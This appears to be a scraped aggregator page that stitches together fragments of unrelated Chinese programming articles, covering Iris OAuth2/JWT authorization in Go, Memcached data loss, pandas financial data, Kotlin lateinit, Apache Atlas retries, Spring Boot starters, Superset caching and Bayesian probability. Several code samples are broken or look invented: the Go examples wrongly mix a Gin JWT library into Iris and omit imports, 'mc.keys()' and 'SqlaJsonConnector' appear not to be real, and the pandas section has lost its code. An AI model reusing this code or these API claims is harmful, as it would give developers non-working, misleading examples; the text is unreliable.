OAuth2是一个授权框架，允许第三方应用获得有限的访问权限，而不需要提供用户名和密码。通过OAuth2，用户可以授予应用程序访问他们资源的权限，而无需共享他们的凭据。 代码示例：OAuth2客户端授权 go package main import ( "github.com/kataras/iris/v12" oauth2 "golang.org/x/oauth2" ) func main() { app := iris.New() // 配置OAuth2客户端 config := oauth2.Config{ ClientID: "your_client_id", ClientSecret: "your_client_secret", RedirectURL: "http://localhost:8080/callback", Endpoint: oauth2.Endpoint{ AuthURL: "https://accounts.google.com/o/oauth2/auth", TokenURL: "https://accounts.google.com/o/oauth2/token", }, Scopes: []string{"profile", "email"}, } // 登录路由 app.Get("/login", func(ctx iris.Context) { url := config.AuthCodeURL("state") ctx.Redirect(url) }) // 回调路由处理 app.Get("/callback", func(ctx iris.Context) { code := ctx.URLParam("code") token, err := config.Exchange(context.Background(), code) if err != nil { ctx.WriteString("Failed to exchange token: " + err.Error()) return } // 在这里处理token，例如保存到数据库或直接使用 }) app.Listen(":8080") } 3. 构建策略决策树 智能授权 现在，我们已经了解了JWT和OAuth2的基本概念及其在Iris框架中的应用。接下来，我们要聊聊怎么把这两样东西结合起来，搞出一棵基于策略的决策树，这样就能更聪明地做授权决定了。 3.1 策略决策树的概念 策略决策树是一种基于规则的系统，用于根据预定义的条件做出决策。在这个情况下，我们主要根据用户的JWT信息（比如他们的角色和权限）和OAuth2的授权状态来判断他们是否有权限访问某些特定的资源。换句话说，就是看看用户是不是有“资格”去看那些东西。 代码示例：基于JWT的角色授权 go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" ) type MyCustomClaims struct { Role string json:"role" jwt.StandardClaims } func main() { app := iris.New() jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", IdentityHandler: func(c jwt.Manager, ctx iris.Context) (interface{}, error) { claims := jwt.ExtractClaims(ctx) role := claims["role"].(string) return &MyCustomClaims{Role: role}, nil }, }) // 保护需要特定角色才能访问的路由 app.Use(jwtMiddleware.MiddlewareFunc()) // 定义受保护的路由 app.Get("/admin", jwtMiddleware.AuthorizeRole("admin"), func(ctx iris.Context) { ctx.Writef("Welcome admin!") }) app.Listen(":8080") } 3.2 结合OAuth2与JWT的策略决策树 为了进一步增强安全性，我们可以将OAuth2的授权状态纳入策略决策树中。这意味着，不仅需要验证用户的JWT，还需要检查OAuth2授权的状态，以确保用户具有访问特定资源的权限。 代码示例：结合OAuth2与JWT的策略决策 go package main import ( "github.com/kataras/iris/v12" jwt "github.com/appleboy/gin-jwt/v2" "golang.org/x/oauth2" ) // 自定义的OAuth2授权检查函数 func checkOAuth2Authorization(token oauth2.Token) bool { // 这里可以根据实际情况添加更多的检查逻辑 return token.Valid() } func main() { app := iris.New() jwtMiddleware, _ := jwt.New(&jwt.GinJWTMiddleware{ Realm: "test zone", Key: []byte("secret key"), Timeout: time.Hour, MaxRefresh: time.Hour, IdentityKey: "id", IdentityHandler: func(c jwt.Manager, ctx iris.Context) (interface{}, error) { claims := jwt.ExtractClaims(ctx) role := claims["role"].(string) return &MyCustomClaims{Role: role}, nil }, }) app.Use(jwtMiddleware.MiddlewareFunc()) app.Get("/secure-resource", jwtMiddleware.AuthorizeRole("user"), func(ctx iris.Context) { // 获取当前请求的JWT令牌 token := jwtMiddleware.TokenFromRequest(ctx.Request()) // 检查OAuth2授权状态 if !checkOAuth2Authorization(token) { ctx.StatusCode(iris.StatusUnauthorized) ctx.Writef("Unauthorized access") return } ctx.Writef("Access granted to secure resource") }) app.Listen(":8080") } 4. 总结与展望 通过以上讨论和代码示例，我们看到了如何在Iris框架中有效地使用JWT和OAuth2来构建一个智能的授权决策系统。这不仅提高了应用的安全性，还增强了用户体验。以后啊，随着技术不断进步，咱们可以期待更多酷炫的新方法来简化这些流程，让认证和授权变得超级高效又方便。 希望这篇探索之旅对你有所帮助，也欢迎你加入讨论，分享你的见解和实践经验！

...的高性能、分布式内存对象缓存系统，在Web应用程序中扮演着关键角色，它能极大地提升动态Web应用的性能和可扩展性。不过，你知道吗？Memcached这家伙可纯粹是个临时记忆库，它并不支持数据长期存储这功能。也就是说，一旦服务器打了个盹（重启）或者撂挑子不干了（崩溃），那存放在它脑瓜子里的所有数据，就会瞬间蒸发得无影无踪。这就是咱们今天要重点唠一唠的话题——聊聊Memcached的数据丢失那些事儿。 2. Memcached的数据特性与潜在风险 （1）内存缓存与数据丢失 Memcached的设计初衷是提供临时性的高速数据访问服务，所有的数据都存储在内存中，而非硬盘上。这就意味着，如果突然出现个意外状况，比如系统崩溃啦，或者我们有意为之的重启操作，那内存里暂存的数据就无法原地待命了，会直接消失不见，这样一来，就难免会遇到数据丢失的麻烦喽。 python import memcache mc = memcache.Client(['localhost:11211'], debug=0) mc.set('key', 'value') 将数据存入Memcached 假设此时服务器突然宕机，'key'对应的'value'在重启后将不复存在 （2）业务场景下的影响 对于一些对数据实时性要求较高但又允许一定时间内数据短暂缺失的场景，如用户会话信息、热点新闻等，Memcached的数据丢失可能带来的影响相对有限。不过，在有些场景下，我们需要长期确保数据的一致性，比如你网购时的购物车信息、积分累计记录这些情况。万一这种数据丢失了，那可能就会影响你的使用体验，严重的话，甚至会引发一些让人头疼的业务逻辑问题。 3. 面对数据丢失的应对策略 （1）备份与恢复方案 虽然Memcached本身不具备数据持久化的功能，但我们可以通过其他方式间接实现数据的持久化。例如，可以定期将Memcached中的数据备份到数据库或其他持久化存储中： python 假设有一个从Memcached获取并持久化数据到MySQL的过程 def backup_to_mysql(): all_items = mc.get_multi(mc.keys()) for key, value in all_items.items(): save_to_mysql(key, value) 自定义保存到MySQL的函数 （2）组合使用Redis等具备持久化的缓存系统 另一个可行的方案是结合使用Redis等既具有高速缓存特性和又能持久化数据的系统。Redis不仅可以提供类似Memcached的内存缓存服务，还支持RDB和AOF两种持久化机制，能在一定程度上解决数据丢失的问题。 python import redis r = redis.Redis(host='localhost', port=6379, db=0) r.set('key', 'value') 在Redis中设置键值对，即使服务器重启，数据也能通过持久化机制得以恢复 （3）架构层面优化 在大型分布式系统中，可以通过设计冗余和分布式存储策略来降低单点故障带来的影响。比如，我们可以像搭积木那样部署多个Memcached实例，然后用一致性哈希这类聪明的算法给它们分配工作量和切分数据块。这样不仅能确保整体负载均衡，还能保证每一份数据都有好几个备份，分别存放在不同的节点上，就像把鸡蛋放在不同的篮子里一样，安全又可靠。 4. 结语 人类视角的理解与思考 面对Memcached数据丢失的问题，开发者们不能止步于理解其原理，更应积极寻求有效的应对策略。这就像生活中我们对待易逝的事物，尽管明白“天下无不散之筵席”，但我们依然会拍照留念、撰写日记，以期留住美好瞬间。同样，在我们使用Memcached这玩意儿的时候，也得充分了解它的脾性，借助一些巧妙的技术手段和设计架构，让数据既能痛快地享受高速缓存带来的速度福利，又能机智地避开数据丢失的坑。只有这样，我们的系统才能在效率与可靠性之间取得最佳平衡，更好地服务于业务需求。

...金融经济数据方面应用Python非常广泛，也可以算是用Python进行数据分析的一个实际应用。 数据规整化方面的应用 时间序列与截面对齐 在处理金融数据时，最费神的一个问题就是所谓的“数据对齐” （data alignment）问题。两个相关的时间序列的索引可能没有很好的对齐，或两个DataFrame对象可能含有不匹配的列或行。 Pandas可以在算术运算中自动对齐数据。在实际工作中，这不仅能为你带来极大自由度，而且还能提升工作效率。如下，看这个两个DataFrame分别含有股票价格和成交量的时间序列： 假设你想要用所有有效数据计算一个成交量加权平均价格（为了简单起见，假设成交量数据是价格数据的子集）。由于pandas会在算术运算过程中自动将数据对齐，并在sum这样的函数中排除缺失数据，所以我们只需编写下面这条简洁的表达式即可： 由于SPX在volume中找不到，所以你随时可以显式地将其丢弃。如果希望手工进行对齐，可以使用DataFrame的align方法，它返回的是一个元组，含有两个对象的重索引版本： 另一个不可或缺的功能是，通过一组索引可能不同的Series构建一个DataFrame。 跟前面一样，这里也可以显式定义结果的索引（丢弃其余的数据）： 时间和“最当前”数据选取 假设你有一个很长的盘中市场数据时间序列，现在希望抽取其中每天特定时间的价格数据。如果数据不规整（观测值没有精确地落在期望的时间点上），该怎么办？在实际工作当中，如果不够小心仔细的话，很容易导致错误的数据规整化。看看下面这个例子： 利用Python的datetime.time对象进行索引即可抽取出这些时间点上的值： 实际上，该操作用到了实例方法at_time（各时间序列以及类似的DataFrame对象都有）： 还有一个between_time方法，它用于选取两个Time对象之间的值： 正如之前提到的那样，可能刚好就没有任何数据落在某个具体的时间上（比如上午10点）。这时，你可能会希望得到上午10点之前最后出现的那个值： 如果将一组Timestamp传入asof方法，就能得到这些时间点处（或其之前最近）的有效值（非NA）。例如，我们构造一个日期范围（每天上午10点），然后将其传入asof： 拼接多个数据源 在金融或经济领域中，还有几个经常出现的合并两个相关数据集的情况： ·在一个特定的时间点上，从一个数据源切换到另一个数据源。 ·用另一个时间序列对当前时间序列中的缺失值“打补丁”。 ·将数据中的符号（国家、资产代码等）替换为实际数据。 第一种情况：其实就是用pandas.concat将两个TimeSeries或DataFrame对象合并到一起： 其他：假设data1缺失了data2中存在的某个时间序列： combine_first可以引入合并点之前的数据，这样也就扩展了‘d’项的历史： DataFrame也有一个类似的方法update，它可以实现就地更新。如果只想填充空洞，则必须传入overwrite=False才行： 上面所讲的这些技术都可实现将数据中的符号替换为实际数据，但有时利用DataFrame的索引机制直接对列进行设置会更简单一些： 收益指数和累计收益 在金融领域中，收益（return）通常指的是某资产价格的百分比变化。一般计算两个时间点之间的累计百分比回报只需计算价格的百分比变化即可：对于其他那些派发股息的股票，要计算你在某只股票上赚了多少钱就比较复杂了。不过，这里所使用的已调整收盘价已经对拆分和股息做出了调整。不管什么样的情况，通常都会先算出一个收益指数，它是一个表示单位投资（比如1美元）收益的时间序列。 从收益指数中可以得出许多假设。例如，人们可以决定是否进行利润再投资。我们可以利用cumprod计算出一个简单的收益指数： 得到收益指数之后，计算指定时期内的累计收益就很简单了： 当然了，就这个简单的例子而言（没有股息也没有其他需要考虑的调整），上面的结果也能通过重采样聚合（这里聚合为时期）从日百分比变化中计算得出： 如果知道了股息的派发日和支付率，就可以将它们计入到每日总收益中，如下所示： 本篇文章为转载内容。原文链接：https://blog.csdn.net/geerniya/article/details/80534324。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...洞等问题。 ORM（对象关系映射） , ORM是一种编程技术，用于将面向对象编程语言中的对象模型与关系型数据库的数据结构进行映射和转换。通过ORM，开发者可以使用面向对象的方式来操作数据库，无需直接编写SQL语句，从而提高开发效率并降低SQL注入等安全风险。 MySQL , MySQL是一个广泛应用于Web应用开发的关系型数据库管理系统（RDBMS），以其开源、稳定、性能优越和兼容多种操作系统的特点而广受欢迎。在文中，MySQL是作为示例代码中数据库连接驱动的目标数据库系统。 HTTP状态码 , HTTP状态码是由服务器返回给客户端的三位数字代码，用以表示请求响应的状态。例如，在文章中提到的iris.StatusNotFound对应的是404状态码，表示请求的资源未找到；iris.StatusInternalServerError对应500状态码，表示服务器内部错误。通过返回合适的HTTP状态码，可以帮助前端或者用户理解请求处理过程中发生的错误类型。

...存消耗，特别是在大量对象实例化时。 4. 遇到“Lateinit Property Not Initialized Before Use”错误怎么办？ 当遇到这个错误时，通常意味着你试图访问或使用了一个未初始化的lateinit属性。解决这个问题的方法通常是： - 检查初始化逻辑：确保在使用属性之前，确实调用了对应的初始化方法或进行了必要的操作。 - 代码重构：如果可能，将属性的初始化逻辑移至更合适的位置，比如构造函数、特定方法或事件处理程序中。 - 避免不必要的延迟初始化：考虑是否真的需要延迟初始化，有时候提前初始化可能更为合理和高效。 5. 实践中的应用案例 在实际项目中，lateinit属性特别适用于依赖于用户输入、网络请求或文件读取等不确定因素的数据加载场景。例如，在构建一个基于用户选择的配置文件加载器时： kotlin class ConfigLoader { lateinit var config: Map fun loadConfig() { // 假设这里通过网络或文件系统加载配置 config = loadFromDisk() } } fun main() { val loader = ConfigLoader() loader.loadConfig() println(loader.config) // 此时config已初始化 } 在这个例子中，config属性的加载逻辑被封装在loadConfig方法中，确保在使用config之前，其已经被正确初始化。 结论 lateinit属性是Kotlin中一个强大而灵活的特性，它允许你推迟属性的初始化直到运行时。然而，正确使用这一特性需要谨慎考虑其潜在的性能影响和错误情况。通过理解其工作原理和最佳实践，你可以有效地利用lateinit属性来增强你的Kotlin代码，使其更加健壮和易于维护。

...TP请求）： python 假设的Atlas客户端API调用示例（非真实代码） from atlas_client import AtlasClient client = AtlasClient(base_url="http://atlas-server:21000") entity_result = client.get_entity(guid='your-entity-guid') 3. 应对网络不稳定 策略与实践 (a) 重试机制 在面对网络不稳定时，首要的策略就是实施合理的重试机制。对于HTTP客户端库（如Python的requests库），我们可以设定自动重试策略： python import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry session = requests.Session() retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[ 500, 502, 503, 504 ]) session.mount('http://', HTTPAdapter(max_retries=retries)) session.mount('https://', HTTPAdapter(max_retries=retries)) response = session.get('http://atlas-server:21000/api/atlas/v2/entity/guid/your-entity-guid') 这段伪代码展示了如何配置一个具有重试机制的HTTP客户端，以便在网络状况不佳时仍能尽力获取所需数据。 (b) 缓存策略 在短暂的网络中断期间，可以利用本地缓存存储近期获取的元数据信息，以此降低对实时连接的依赖。一旦网络恢复，再进行必要的数据同步更新。 (c) 心跳检测与故障转移 针对集群环境，可以通过定期心跳检测判断与Atlas服务器的连接状态，及时切换至备份服务器，确保服务的连续性。 4. 结论与思考 面对Apache Atlas客户端与服务器间网络连接不稳定或中断的情况，我们需要从系统设计层面出发，采用合适的容错策略和技术手段提高系统的鲁棒性。同时呢，咱们得摸清楚底层通信机制那些个特性，再结合实际的使用场景，不断打磨、优化咱们的解决方案。这样一来，才能真正让基于Apache Atlas搭建的大数据平台坚如磐石，稳定运行起来。 以上讨论并未给出Apache Atlas本身的代码实现，而是围绕其使用场景和策略给出了建议。实际上，每个项目都有其独特性，具体策略需要根据实际情况灵活调整和实施。

...如何去创建数据库属性对象。让我们创建一个简单的starter，这个starter会创建另外一个CommandLineRunner，然后收集Repository的实例并且打印所有的实例。 4.2.1代码实现 1.首先我们创建一人新文件夹db-count-starter在项目根目录下。 2.在文件夹db-count-starter下创建一份settings.grale文件，添加以下内容。 include 'db-count-starter' 3.在db-count-starter文件夹下创建build.gradle的文件，然后添加如下的代码。 apply plugin: 'java' repositories { mavenCentral() maven { url "https://repo.spring.io/snapshot" } maven { url "https://repo.spring.io/milestone" } } d ependencies { compile("org.springframework.boot:spring-boot:1.2.3.RELEASE") compile("org.springframework.data:spring-data-commons:1.9.2.RELEASE") } 4.接着，我们在fb-count-starter下创建这个目录结构src/main/java/org/test/bookpubstarter/dbcount 5.在新创建的文件下面，让我们添加实现接口CommandLineRunner文件，名称叫做DbCountRunner.java. public class DbCountRunner implements CommandLineRunner { protected final Log logger = LogFactory.getLog(getClass()); private Collection<CrudRepository> repositories; public DbCountRunner(Collection<CrudRepository> repositories) { this.repositories = repositories; } @Override public void run(String... args) throws Exception { repositories.forEach(crudRepository -> logger.info(String.format( "%s has %s entries", getRepositoryName(crudRepository.getClass()), crudRepository.count()))); } private static String getRepositoryName(Class crudRepositoryClass) { for (Class repositoryInterface : crudRepositoryClass.getInterfaces()) { if (repositoryInterface.getName().startsWith( "org.test.bookpub.repository")) { return repositoryInterface.getSimpleName(); } } return "UnknownRepository"; } } 6.我们创建一个DbCountAutoConfiguration.java来实现DbCountRunner。 @Configuration public class DbCountAutoConfiguration { @Bean public DbCountRunner dbCountRunner(Collection<CrudRepository> repositories) { return new DbCountRunner(repositories); } } 7.我们需要告诉Spring Boot我们新创建的JAR包含自动装配的类。我们需要在db-count-starter/src/main下创建resources/META-INF文件夹。 8.在resources/META-INF下创建spring.factories文件，添加如下内容。 org.springframework.boot.autoconfigure.EnableAutoConfiguration=org.test .bookpubstarter.dbcount.DbCountAutoConfiguration 9.在主项目的build.gradle下添加如下代码 compile project(':db-count-starter') 10.启动项目，你将会看到控制台的信息下： 2020-04-05 INFO org.test.bookpub.StartupRunner : Welcome to the Book Catalog System! 2020-04-05 INFO o.t.b.dbcount.DbCountRunner : AuthorRepository has 1 entries 2020-04-05 INFO o.t.b.dbcount.DbCountRunner : PublisherRepository has 1 entries 2020-04-05 INFO o.t.b.dbcount.DbCountRunner : BookRepository has 1 entries 2020-04-05 INFO o.t.b.dbcount.DbCountRunner :ReviewerRepository has 0 entries 2020-04-05 INFO org.test.bookpub.BookPubApplication : Started BookPubApplication in 8.528 seconds (JVM running for 9.002) 2020-04-05 INFO org.test.bookpub.StartupRunner : Number of books: 1 4.2.2代码说明 因为Spring Boot的starter是分隔的，独立的包，仅仅是添加更多的类到我们已经存在的项目资源中，而不会控制更多。为了独立技术，我们的选择很少，创建分开的配置在我们项目中或创建完全分开的项目。更好的方法是通过创建项目文件夹去转换们的项目到Gradel Multi-Project Build和子项目依赖于根目录到build.gradle。Gradle实际是创建JAR的包，但是我们不需要放入到任何地方，仅仅通过compile project(‘:db-count-starter’)来包含。 Spring Boot Auto-Configuration Starter并没有做什么，而是Spring Java Configuration类注释了@Configuration和代表性的spring.factories文件在META-INF的文件夹下。 当应用启动时，Spring Boot使用SpringFactoriesLoader，这个类是Spring Core中的，目的是为了获得Spring Java Configuration，这些配置给了org.springframework.boot.autoconfigure.EnableAutoConfiguration。这样之下，这些调用会收集spring.factories文件下的所有jar包或其它调用的路径和成分到应用的上下文的配置中。除此之了EnableAutoConfiguration，我们可以定义其它的关键接口使用，这些可以自动初始化在启动期间与如下的调用相似： org.springframework.context.ApplicationContextInitializer org.springframework.context.ApplicationListener org.springframework.boot.SpringApplicationRunListener org.springframework.boot.env.PropertySourceLoader org.springframework.boot.autoconfigure.template.TemplateAvailabilityProvider org.springframework.test.contex.TestExecutionListener 具有讽刺的是，Spring Boot Starter并不需要依赖Spring Boot的包，因为它编译时间上的依赖。如果我们看DbCountAutoConfiguation类，我们不会看到任何来自org.springframework.book的包。这仅仅的原因是我们的DbCountRunner实现了接口org.sprigframework.boot.CommandLineRunner. 本篇文章为转载内容。原文链接：https://blog.csdn.net/owen_william/article/details/107867328。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...穿越NAT（网络地址转换）设备和防火墙，实现直接连接。ICE候选信息是指WebRTC通信过程中生成的一系列潜在网络路径和地址，包括IP地址、端口号以及传输协议类型等，这些信息将被用于寻找最有效的通信路径。 RTCPeerConnection , 是WebRTC API中的核心接口，用于建立和管理两个浏览器之间的点对点媒体连接。通过创建RTCPeerConnection对象，开发者能够控制音视频流的发送与接收，处理协商过程中的各种信号交换（如offer/answer模型和ICE候选信息交换），以及维护和监控媒体会话的状态，从而实现高质量、低延迟的实时通信功能。

...致性能下降。 python from superset.connectors.sqla import SqlaJsonConnector connector = SqlaJsonConnector( sql="SELECT FROM your_table", cache_timeout=60, 设置数据源的缓存超时时间为60秒 metadata=metadata, ) 2. 优化数据加载流程 - 对于大数据集，考虑使用分页查询或者增量更新策略，减少单次加载的数据量。 - 使用更高效的数据库查询优化技巧，比如索引、查询优化、存储优化等。 3. 调整缓存策略 - 在Superset配置文件中调整缓存相关参数，例如cache_timeout和cache_timeout_per_user，确保缓存机制能够及时响应数据更新。 python 在Superset配置文件中添加或修改如下配置项 "CACHE_CONFIG": { "CACHE_TYPE": "filesystem", "CACHE_DIR": "/path/to/cache", "CACHE_DEFAULT_TIMEOUT": 300, "CACHE_THRESHOLD": 1000, "CACHE_KEY_PREFIX": "superset_cache" } 4. 监控网络状况 - 定期检查网络连接状态，确保数据传输稳定。可以使用网络监控工具进行测试，比如ping命令检查与数据源服务器的连通性。 - 考虑使用CDN（内容分发网络）或其他加速服务来缩短数据传输时间。 5. 实施定期数据验证 - 定期验证数据源的有效性和数据更新情况，确保数据实时性。 - 使用自动化脚本或工具定期检查数据更新状态，一旦发现问题立即采取措施。 结论 数据更新延迟是数据分析过程中常见的挑战，但通过细致的配置、优化数据加载流程、合理利用缓存机制、监控网络状况以及定期验证数据源的有效性，我们可以有效地解决这一问题。Superset这个家伙，可真是个厉害的数据大厨，能做出各种各样的图表和分析，简直是五花八门，应有尽有。它就像个宝藏一样，里面藏着无数种玩法，关键就看你能不能灵活变通，找到最适合你手头活儿的那把钥匙。别看它外表冷冰冰的，其实超级接地气，等着你去挖掘它的无限可能呢！哎呀，用上这些小窍门啊，你就能像变魔法一样，让数据处理的速度嗖嗖地快起来，而且准确得跟贴纸一样！这样一来，做决定的时候，你就不用再担心数据老掉牙或者有误差了，全都是新鲜出炉的，准得很！

... 为便于计算，再将其转换为对数似然函数形式： \ln p(\mathcal{D}|\theta)=\sum_{n=1}^N\ln p(x_n|\theta) lnp(D|θ)=∑n=1Nlnp(xn|θ) 我们不妨以伯努利分布为例，利用最大似然估计的方式计算其分布的参数（pp ），伯努利分布其概率密度函数（pdf）为： f_X(x)=p^x(1-p)^{1-x}=\left \{ \begin{array}{ll} p,&\mathrm{x=1},\\ q\equiv1-p ,&\mathrm{x=0},\\ 0,&\mathrm{otherwise} \end{array} \right. fX(x)=px(1−p)1−x=⎧⎩⎨⎪⎪p,q≡1−p,0,x=1,x=0,otherwise 整个样本集的对数似然函数为： \ln p(\mathcal{D}|\theta)=\sum_{n=1}^N\ln p(x_n|\theta)=\sum_{n=1}^N\ln (\theta^{x_n}(1-\theta)^{1-x_n})=\sum_{n=1}^Nx_n\ln\theta+(1-x_n)\ln(1-\theta) lnp(D|θ)=∑n=1Nlnp(xn|θ)=∑n=1Nln(θxn(1−θ)1−xn)=∑n=1Nxnlnθ+(1−xn)ln(1−θ) 等式两边对\thetaθ 求导： \frac{\partial \ln(\mathcal{D}|\theta)}{\partial \theta}=\frac{\sum_{n=1}^Nx_n}{\theta}-\frac{N}{1-\theta}+\frac{\sum_{n=1}^Nx_n}{1-\theta} ∂ln(D|θ)∂θ=∑Nn=1xnθ−N1−θ+∑Nn=1xn1−θ 令其为0，得： θml=∑Nn=1xnN Beta分布 f(μ|a,b)=Γ(a+b)Γ(a)Γ(b)μa−1(1−μ)b−1=1B(a,b)μa−1(1−μ)b−1 Beta 分布的峰值在a−1b+a−2 处取得。其中Γ(x)≡∫∞0ux−1e−udu 有如下性质： Γ(x+1)=xΓ(x)Γ(1)=1andΓ(n+1)=n! 我们来看当先验分布为 Beta 分布时的后验分布： p(θ)=1B(a,b)θa−1(1−θ)b−1p(X|θ)=(nk)θk(1−θ)n−kp(θ|X)=1B(a+k,b+n−k)θa+k−1(1−θ)b+n−k−1 对应于python中的math.gamma()及matlab中的gamma()函数（matlab中beta(a, b)=gamma(a)gamma(b)/gamma(a+b)）。 条件概率（conditional probability） P(X|Y) 读作： P of X given Y ，下划线读作given X ：所关心事件 Y ：条件（观察到的，已发生的事件），conditional 条件概率的计算 仍然从样本空间（sample space）的角度出发。此时我们需要定义新的样本空间（给定条件之下的样本空间）。所以，所谓条件（conditional），本质是对样本空间的进一步收缩，或者叫求其子空间。 比如一个人答题，有A,B,C,D 四个选项，在答题者对题目一无所知的情况下，他答对的概率自然就是 14 ，而是如果具备一定的知识，排除了 A,C 两个错误选项，此时他答对的概率简单计算就增加到了 12 。 本质是样本空间从S={A,B,C,D} ，变为了S′={B,D} 。 新样本空间下P(A|排除A/C)=0,P(C|排除A/C)=0 ，归纳出来，也即某实验结果（outcome，oi ）与某条件Y 不相交，则： P(oi|Y)=0 最后我们得到条件概率的计算公式： P(oi|Y)=P(oi)P(o1)+P(o2)+⋯+P(on)=P(oi)P(Y)Y={o1,o2,…,on} 考虑某事件X={o1,o2,q1,q2} ，已知条件Y={o1,o2,o3} 发生了，则： P(X|Y)=P(o1|Y)+P(o2|Y)+0+0=P(o1)P(Y)+P(o2)P(Y)=P(X∩Y)P(Y) 条件概率与贝叶斯公式 条件概率： P(X|Y)=P(X∩Y)P(Y) 贝叶斯公式： P(X|Y)=P(X)P(Y|X)P(Y) 其实是可从条件概率推导贝叶斯公式的： P(A|B)=P(B|A)=P(A|B)P(B)===P(B|A)=P(A∩B)P(B)P(A∩B)P(A)P(A∩B)P(B)P(B)P(A∩B)P(A)P(B|A)P(A|B)P(B)P(A) 证明：P(B,p|D)=P(B|p,D)P(p|D) P(B,p|D)====P(B,p,D)P(D)P(B|p,D)P(p,D)P(D)P(B|p,D)P(p,D)P(D)P(B|p,D)P(p|D) References [1] 概率质量函数 本篇文章为转载内容。原文链接：https://blog.csdn.net/lanchunhui/article/details/49799405。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。